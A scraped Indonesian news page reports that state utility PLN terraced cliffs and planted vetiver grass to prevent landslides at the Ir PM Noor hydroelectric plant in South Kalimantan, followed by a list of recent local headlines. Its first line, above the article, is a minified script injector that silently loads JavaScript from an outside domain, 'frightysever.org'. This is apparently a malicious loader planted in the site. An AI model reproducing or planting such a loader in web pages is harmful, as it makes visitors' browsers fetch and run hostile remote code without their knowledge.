(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN UIP3B KALIMANTAN

Antisipasi Longsor, PLN Bikin Trap Tebing dan Tanam Rumput Vetiver di PLTA PM Noor


KANALKALIMANTAN.COM, MARTAPURA – PLN UPDK (Unit Pelaksana Pengendalian Pembangkitan) Barito lakukan pembuatan trap tebing di PLTA (Pembangkit Listrik Tenaga Air) Ir PM Noor Riam Kanan guna menjaga kawasan pembangkit EBT (Energi Baru Terbarukan) tetap aman dan terjaga. Pekerjaan pembuatan trap tebing ini sudah rampung pada awal September 2022.

PLTA Ir PM Noor merupakan pembangkit EBT yang memanfaatkan arus air waduk Riam Kanan untuk menghasilkan listrik, dengan daya yang mampu dihasilkan sebesar 3 x 10 MW (MegaWatt).

Nazrul Very Andhi, Manager PLN UPDK Barito mengatakan, PLTA adalah satu-satunya pembangkit EBT di UPDK Barito dan sejalan dengan program Net Zero Emmision 2060. “Sudah sewajarnya kami sebagai manajemen mengambil langkah awal untuk mencegah terjadinya longsor dan tetap menjaga kawasan PLTA Ir PM Noor tetap aman,” ujarnya

Kawasan pembangkit PLTA Ir PM Noor adalah kawasan rawan longsor karena letak lokasinya yang dikelilingi oleh tebing-tebing yang curam.

 

Baca juga  : Sidang Korupsi Eks Bendahara Bawaslu Banjar, Hakim Sandingkan Tanda Tangan PPK

Tidak hanya melakukan trap pada tebing-tebing yang rawan longsor, PLN juga melakukan penanaman rumput vetiver. Bagian akar vetiver bermanfaat mencegah longsor dan banjir, memperbaiki kualitas air, melindungi infrastruktur, menyerap racun, serta menyuburkan tanah.

PLN lakukan pembuatan trap tebing di PLTA Ir PM Noor. Foto: pln

Selain itu, rumput vetiver sebagai pengikat tanah untuk jangka pendek. Rumput vetiver sejenis sereh wangi yang akarnya kuat dan kencang seperti kawat baja, mencengkram tanah serta dapat menahan longsor.

Selain melakukan penanaman rumput vetiver, PLN juga melakukan pembersihan vegetasi liar di kawasan waduk yang merupakan usulan dari PLN Pusertif, karena vegetasi liar dapat menyebabkan tanah menjadi tidak keras sehingga rawan akan terjadi longsor.

PLN lakukan pembuatan trap tebing di PLTA Ir PM Noor. Foto: pln

“Semua ini dilakukan demi menjaga kawasan waduk Riam Kanan dan PLTA Ir PM Noor tetap aman dan terjaga sehingga proses operasi dapat berlangsung secara kontinyu tanpa kendala,” tutup Nazrul.(Kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

12 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

12 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

12 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

13 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

13 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

15 jam ago

This website uses cookies.